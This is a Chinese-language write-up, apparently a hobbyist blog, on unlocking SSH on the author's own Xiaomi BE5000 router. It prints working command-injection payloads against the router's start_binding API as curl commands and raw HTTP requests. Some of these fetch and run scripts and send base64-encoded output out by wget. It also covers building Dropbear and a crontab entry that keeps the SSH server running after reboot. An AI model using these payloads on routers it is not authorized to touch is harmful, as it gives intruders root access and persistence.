注意⚠️:本文所述之内容仅供学习与交流,所有的设备均为私人合法持有,对公共设施实施本文所述的相关操作造成公共安全损失有机会触犯《网络安全法》。
前言
在恩山无线论坛看到了这两篇文章《重磅!!!小米BE3600开启SSH教程》、《小米WIFI6 / WIFI7[路由器]简单开启SSH教程》。通过对 /api/xqsystem/start_binding
接口未对参数进行判断的漏洞来实现 RCE ,两篇文章的具体实现代码如下。
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxxx/api/xqsystem/ -d "uid=1234&key=1234'%0Anvram%20commit'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'"
咱怀着好奇的心情,跑去对下载 BE5000 的固件(1.0.53),拿去解包去一探究竟,一次折腾之旅就此开始。
感谢 Lemon(@lemonprefect) 的帮助!
解包
通过下载 miwifi_rd18_firmware_6c571_1.0.53.bin
后,通过 binwalk 提取文件。
binwalk -e miwifi_rd18_firmware_6c571_1.0.53.bin
可以得到 squashfs-root 文件夹,通过访问 /usr/share/xiaoqiang/xiaoqiang-defaults.txt
,发现并没有 ssh_en
这个变量。
uart_en=0
telnet_en=0
boot_wait=off
model=RD18
MTK_GPIO_HIGH=6,27
MTK_GPIO_LOW=4,12
arch=arm
baudrate=115200
board=en7523_evb
board_name=en7523_evb
bootcmd=flash imgread 2048;bootm
bootdelay=5
restore_defaults=0
bootfile=tclinux.bin
console=ttyS0,115200n8 earlycon
country_code=ff
cpu=armv7
dsl_gpio=0b
ethact=ecnt_eth
ether_gpio=0c
fdt_high=0xac000000
internet_gpio=02
invaild_env=no
ipaddr=192.168.31.1
kernel_filename=tclinux.bin
loadaddr=0x81800000
multi_upgrade_gpio=0b020400000000000000000000000000
onu_type=2
password=12345678
power_gpio=1b1b
product_name=xPON ONU
qdma_init=11
sdram_conf=0x00108893
serdes_pon=121
serdes_sel=0
serverip=192.168.31.100
snmp_sysobjid=1.2.3.4.5
soc=en7523
stderr=serial
stdin=serial
stdout=serial
uboot_filename=tcboot.bin
username=telecomadmin
vendor=ecnt
vendor_name=ECONET Technologies Corp.
再查看 /etc/config
、/usr/sbin
均未发现 dropbear 的踪迹,推测 BE5000 上应该没有 SSH 服务端,因此 BE3600 的解锁 SSH 方法对 BE5000 无效。
lua 反编译
反编译使用的是 https://github.com/NyaMisty/unluac_miwifi
git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build .
结合网上的方法以及 ChatGPT 生成了一个批量反编译的脚本对 /usr/lib/lua/
目录进行反编译。
#!/bin/bash
# 创建decompiled目录(如果不存在)
mkdir -p decompiled
# 使用find命令递归查找source目录下的所有.lua文件
find /home/kali/Desktop/miwifi/_miwifi_rd18_firmware_6c571_1.0.53.bin.extracted/squashfs-root/usr/lib/lua/ -type f -name "*.lua" -print0 | while IFS= read -r -d '' file; do
# 构造输出文件路径(替换source为decompiled)
output_file="decompiled/${file#source/}"
# 创建输出文件的目录(如果不存在)
mkdir -p "$(dirname "$output_file")"
# 使用unluac.jar工具进行反编译,将输出写入到对应的文件中
java -jar ./unluac.jar "$file" > "$output_file"
# 打印处理的文件路径
echo "Decompiled: $file -> $output_file"
done
通过在 VSCode 打开反编译后的文件夹对 start_binding
继续搜索可以找到 startBinding
,对 startBinding
搜索可以发现函数如下。
function L4()
local L0, L1, L2, L3, L4, L5, L6, L7, L8, L9
L0 = require
L1 = "luci.sys"
L0 = L0(L1)
L1 = require
L2 = "luci.util"
L1 = L1(L2)
L2 = require
L3 = "xiaoqiang.util.XQNetUtil"
L2 = L2(L3)
L3 = _UPVALUE0_
L3 = L3.formvalue
L4 = "uid"
L5 = nil
L6 = "?numberstr"
L3 = L3(L4, L5, L6)
L3 = L3 or L3
L4 = _UPVALUE0_
L4 = L4.formvalue
L5 = "key"
L6 = nil
L7 = "?commonstr"
L4 = L4(L5, L6, L7)
L4 = L4 or L4
L5 = string
L5 = L5.format
L6 = "/usr/bin/miio_bind.sh -u '%s' -b '%s'"
L7 = L3
L8 = L4
L5 = L5(L6, L7, L8)
L6 = {}
L6.code = 0
if L3 == "" or L4 == "" then
L6.code = 1523
else
L7 = L0.call
L8 = L5
L7 = L7(L8)
if L7 ~= 0 then
L6.code = 1541
end
end
L7 = L6.code
if L7 == 0 then
L7 = _UPVALUE1_
L7 = L7.getHardware
L7 = L7()
L6.hw = L7
L7 = L1.trim
L8 = L1.exec
L9 = "bdata get miot_did"
L8, L9 = L8(L9)
L7 = L7(L8, L9)
L6.did = L7
L7 = L2.getDeviceId
L7 = L7()
L6.rtid = L7
L6.sync = false
end
L7 = _UPVALUE0_
L7 = L7.write_json
L8 = L6
L7(L8)
end
利用 ChatGPT 提高可读性可以得到以下代码。
function bindDevice()
-- 引入模块
local sys = require("luci.sys")
local util = require("luci.util")
local netUtil = require("xiaoqiang.util.XQNetUtil")
-- 获取表单提交的 UID 和 Key
local uid = _UPVALUE0_.formvalue("uid", nil, "?numberstr") or ""
local key = _UPVALUE0_.formvalue("key", nil, "?commonstr") or ""
-- 构建执行绑定脚本的命令
local command = string.format("/usr/bin/miio_bind.sh -u '%s' -b '%s'", uid, key)
-- 初始化返回结果
local result = { code = 0 }
-- 如果 UID 或 Key 为空,则返回错误码 1523
if uid == "" or key == "" then
result.code = 1523
else
-- 调用系统命令执行绑定操作
local commandResult = sys.call(command)
-- 如果绑定失败,则返回错误码 1541
if commandResult ~= 0 then
result.code = 1541
end
end
-- 如果操作成功,获取硬件信息和设备 ID
if result.code == 0 then
result.hw = _UPVALUE1_.getHardware()
result.did = util.trim(util.exec("bdata get miot_did"))
result.rtid = netUtil.getDeviceId()
result.sync = false -- 设置同步状态为 false
end
-- 将结果写成 JSON 输出
_UPVALUE0_.write_json(result)
end
startBinding = bindDevice
可以发现 uid 和 key 两个参数是直接拼接上去的,就是利用这一点来实现 RCE 的,这也说明 BE5000 也存在这样的问题。
因此,咱们只需要自行编译上传 Dropbear 来实现 SSH 自由。
获取信息
首先,要想办法获取服务器的回显。咱有试过在 Kali 上开启 nc 监听来获取,但是尝试过发现不行。
之后突发奇想想到一计,通过 wget 上传脚本,通过脚本执行命令后使用 wget 请求部署在本机的 Python HTTP Server 。
那么,如何来处理换行导致的输出不完全呢?答案就是 Base64 。(它真好)
# ping1.sh
a=$(ls -la /tmp | base64 -w 0)
wget "http://192.168.31.78:8888/$a"
通过 python -m http.server 8888
在本机起一个服务,简单的编写一个脚本,通过 BurpSuite 的 Repeater 进行发包(当然,也可以通过其他方式),通过 wget http://192.168.31.78:8888/ping1 -P /tmp
将脚本上传到 tmp 目录中。
POST /cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding HTTP/1.1
Host: 192.168.31.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
uid=1234&key=1234'%0Arm%20-rf%20/tmp/ping1%0Awget%20"http://192.168.31.78:8888/ping1"%20-P%20/tmp'
再通过 chmod +x /tmp/ping1;/tmp/ping1
来添加执行权限并执行刚刚上传的脚本。
POST /cgi-bin/luci/;stok=xxxx/api/xqsystem/start_binding HTTP/1.1
Host: 192.168.31.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
uid=1234&key=1234'%0Achmod%20%2bx%20/tmp/ping1%0a/tmp/ping1'
可以得到回显如下。(Base64 内容过长已省略)
::ffff:192.168.31.1 - - [20/Oct/2024 16:40:18] "GET /ZHJ3eH...GlvNgo= HTTP/1.1" 404 -
通过 CyberChef 或其他方式进行 Base64 解码即可得到 ping1 文件的权限信息。
-rwxr-xr-x 1 root root 815 Oct 20 16:43 ping1
可以发现当前命令执行的用户为 root
(它真好),接下来来获取一些系统的信息。
(命令和回显放一个代码块力,只需要修改 ping1.sh 文件内容根据上面的进行发包即可)
- ARMv7 Processor rev 4 (v7l)、软浮点(未发现硬浮点特性)
# ping1.sh
a=$(cat /proc/cpuinfo | base64 -w 0)
wget "http://192.168.31.78:8888/$a"
processor : 0
model name : ARMv7 Processor rev 4 (v7l)
BogoMIPS : 50.00
Features : half thumb fastmult edsp tls idiva idivt lpae evtstrm crc32
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xd03
CPU revision : 4
processor : 1
model name : ARMv7 Processor rev 4 (v7l)
BogoMIPS : 50.00
Features : half thumb fastmult edsp tls idiva idivt lpae evtstrm crc32
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xd03
CPU revision : 4
Hardware : ECONET (Device Tree)
Revision : 0000
Serial : 0000000000000000
- EABI5 version 1 (SYSV)、interpreter /lib/ld-musl-arm.so.1
┌──(kali㉿kali)-[~/xiaomi/_miwifi_rd18_firmware_6c571_1.0.53.bin.extracted/squashfs-root/bin]
└─$ file busybox
busybox: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, no section header
通过以上内容可以得到信息:ARMv7l、EABI5、musl、软浮点。
收集好信息后,就是去交叉编译个适合 BE5000 的 Dropbear 。
编译 Dropbear
安装 Buildroot
可以参造这篇文章 使用buildroot制作交叉编译工具链 。
buildroot $ wget https://buildroot.org/downloads/buildroot-2024.08.tar.gz
buildroot $ tar -zxvf buildroot-2024.08.tar.gz
buildroot $ cd buildroot-2024.08/
buildroot-2024.08 $ make menuconfig
编译环境
Target options -> Target Architecture -> ARM(little endian)
Target options -> Target Architecture Variant -> cortex-A7
Target options -> Target ABI -> EABI
Target options -> Floating point strategy -> Soft float
Target options -> ARM instruction set -> ARM
Target options -> Target Binary Format -> ELF
Toolchain -> C library -> musl
Toolchain -> Enable C++ suppert
其他配置均为默认不变,开始编译,参数后面加入 -j4 表示4个线程编译,V=0 表示简易输出日志。
buildroot-2024.08 $ make toolchain -j4 V=0
编译 zlib
xiaomi $ curl -L https://github.com/madler/zlib/releases/download/v1.3.1/zlib-1.3.1.tar.gz -o zlib-1.3.1.tar.gz
xiaomi $ tar -zxvf zlib-1.3.1.tar.gz
xiaomi $ cd zlib-1.3.1
zlib-1.3.1 $ mkdir build
zlib-1.3.1 LD_LIBRARY_PATH=/home/kali/xiaomi/buildroot/buildroot-2024.08/output/host/usr/lib prefix=./build/ CC=/home/kali/xiaomi/buildroot/buildroot-2024.08/output/host/usr/bin/arm-linux-gcc CFLAGS="-static -fPIC" ./configure
zlib-1.3.1 $ make install
联合 zlib 静态编译 Dropbear
尝试过动态编译,发现编译完成放到路由器中运行会出现如下报错,故改用静态编译。
Error relocating /tmp/dropbear: __select_time64: symbol not found Error relocating /tmp/dropbear: __localtime64: symbol not found Error relocating /tmp/dropbear: __gettimeofday_time64: symbol not found Error relocating /tmp/dropbear: __nanosleep_time64: symbol not found Error relocating /tmp/dropbear: __fstat_time64: symbol not found Error relocating /tmp/dropbear: __stat_time64: symbol not found Error relocating /tmp/dropbear: __time64: symbol not found Error relocating /tmp/dropbear: __clock_gettime64: symbol not found
这里是用的是 Lemon 的二开版本 ,也可以改用官方的试试。
xiaomi $ git clone https://github.com/LemonPrefect/dropbear
xiaomi $ cd dropbear
dropbear $ ./configure --with-zlib=/home/kali/xiaomi/zlib-1.3.1/build CC=/home/kali/xiaomi/buildroot/buildroot-2024.08/output/host/usr/bin/arm-linux-gcc --host=--host=arm-linux --enable-static
dropbear $ make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
编译完成后就可以得到 Dropbear 了,附 file dropbear
结果。
dropbear: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped
运行 Dropbear
还是通过最开始 ping1.sh
编写脚本。
mkdir -p /etc/config/dropbear
a=$(/tmp/dropbearkey -t rsa -f /etc/config/dropbear/dropbear_rsa_host_key 2>&1)
/tmp/dropbear -r /etc/config/dropbear/dropbear_rsa_host_key -p 23323
wget "http://192.168.31.78:8888/$a"
一样的,通过 BP 发包可以得到回显如下。
::ffff:192.168.31.1 - - [20/Oct/2024 15:20:54] "GET /Generating 2048 bit rsa key, this may take a while..." 400 -
通过 ps
查看进程可以发现 Dropbear 成功运行力。
连接 SSH
root 密码可利用 SN 码获取 https://mi.tellme.top/ 。
ssh [email protected] -p23323
维持 SSH
首先,先把 Dropbear 挪进一个可持久性存储的地方,可以通过 df
来查找。
可以发现 /data
、/etc/config
、/etc/crontabs
都可以,那就先把文件进行复制。
cp /tmp/dropbear /data/dropbear
使用创建计划任务的方法来维持 SSH ,方法来自:https://www.right.com.cn/forum/thread-8265952-1-1.html
echo "@reboot ( sleep 60 ; /data/dropbear -r /etc/config/dropbear/dropbear_rsa_host_key -p 23323 )" | tee -a /etc/crontabs/root
当然,也可以试试其他方法?